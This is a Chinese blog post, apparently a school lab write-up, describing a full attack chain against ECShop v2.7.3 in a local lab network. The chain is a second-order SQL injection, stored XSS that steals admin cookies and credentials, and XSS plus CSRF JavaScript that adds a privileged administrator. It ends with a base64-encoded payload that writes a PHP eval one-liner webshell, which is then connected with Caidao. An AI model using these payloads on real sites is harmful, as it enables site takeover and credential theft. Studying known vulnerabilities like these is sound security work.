php%3cbr%3e的使用,ecshop v2.7.3入侵全过程

利用的都是一些早就在乌云上爆出来的漏洞,是学校上课做的一个实验,把过程贴出来,第一次尝试写博客,大牛勿喷。

1 Sql注入

网站服务器ip:192.168.238.132

管理员的访问网站的电脑ip:192.168.238.1

攻击者ip:192.168.238.129

0818b9ca8b590ca3270a3433284dd417.png

2)    漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。(参考乌云http://www.wooyun.org/bugs/wooyun-2010-023188 )

在/affiche.php119行有这样一句话

$sql = "INSERT INTO " .$ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1','" . $site_name . "', '1')";

可以发现$site_name即$_GET['from']存入数据库了

而在/admin/adsense.php47-49行又有以下代码

/* 获取当前广告所产生的订单总数 */

$sql2 = 'SELECT COUNT(order_id) FROM '.$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' ANDreferer='$rows[referer]'";

$rows['order_num'] =$db->getOne($sql2);

可以发现没有再次addslashes导致注入。

3)于是我们构造以下两个链接

在浏览器中访问后即把恶意代码插入数据库中了。当管理员访问后台页面时,如图

0818b9ca8b590ca3270a3433284dd417.png

可以发现当管理员访问该界面时发生了sql注入,管理员的账户密码都可以得到,包括hashcode。

可是这个界面只有管理员能够看到,不是管理员要怎么利用呢???

2 xss获得管理员账户密码

4)我们想到要是插入一段js代码,能够获取到当前页面元素的值当然也就可以找到管理员的账户密码了。

在xsser.me上自定义getHtmlText模块获取用户的页面内容

0818b9ca8b590ca3270a3433284dd417.png

构造以下链接将js插入数据库中

管理员浏览该页面后如图

0818b9ca8b590ca3270a3433284dd417.png

可以发现已经接收到cookies和账户密码信息,如下图所示

0818b9ca8b590ca3270a3433284dd417.png

账户密码信息如图

0818b9ca8b590ca3270a3433284dd417.png

Hashcode如图

0818b9ca8b590ca3270a3433284dd417.png

由于密码的hash值生成方式如下

0818b9ca8b590ca3270a3433284dd417.png

这样我们得到了账户密码以及salt值,在cmd5网站上解密,因为密码是admin123比较简单,因此cmd5上面可以解出来。但如果密码复杂的话就没办法解密了。

5)于是我们寻找更通用的进入后台方式

发现cookies的生成方式如下

0818b9ca8b590ca3270a3433284dd417.png

只需要把密码的hash值和hashcode的值连接起来进行md5加密即可获得密码,可以构造cookies欺骗。

参考 http://www.2cto.com/Article/201307/232194.html

但我做的时候用构造的cookies一直无法进入后台,不知道为什么不科学啊~

于是采用csrf进入后台

3 xss+csrf添加任意管理员并分配权限

6)我们利用xss与csrf结合进行攻击。

乌云漏洞 http://www.wooyun.org/bugs/wooyun-2010-033159

由于在添加管理员账号时没有token值验证因此可以构造js向后台post数据添加管理员,另外新添加的管理员是没有权限的,后面我们要拿webshell的时候需要用到语言编辑的权限,因此我们再post一个添加权限的数据。

我们的add.js代码如下

Ajax.call('http://192.168.238.132/upload/admin/privilege.php?act=add','user_name=zzzz&email=zzzz@qq.com&password=123456&pwd_confirm=123456&act=insert','',"POST","JSON");

Ajax.call('http://192.168.238.132/upload/admin/privilege.php','action_code[]=lang_edit&id=2&Submit=保存&act=update_allot','',"POST","JSON");一个是添加管理员,一个是分配权限

继续构造如下链接,将代码插入数据库中

在用户点击之前可以看到此时管理员只有一个

这时如果访问广告js界面,我们刚刚插入的代码就会执行

这时候再次查看管理员,发现已经多了一个管理员,并且拥有语言编辑的权利

0818b9ca8b590ca3270a3433284dd417.png

权利如下图

0818b9ca8b590ca3270a3433284dd417.png

Ok至此我们成功拿到后台管理员权限。

4 获取websehll

7)下面使用我们刚才添加的管理员拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。

由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。

查找用户信息

0818b9ca8b590ca3270a3433284dd417.png

在用户信息后面添加生成一句话木马的代码

${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}

此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中

0818b9ca8b590ca3270a3433284dd417.png

然后攻击者访问

8) 使用菜刀连接我们的一句话木马

可以发现已经成功连接上

0818b9ca8b590ca3270a3433284dd417.png

9)在根目录下上传木马muma.php

0818b9ca8b590ca3270a3433284dd417.png

至此成功拿到webshell

后面的提权就不贴出来了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值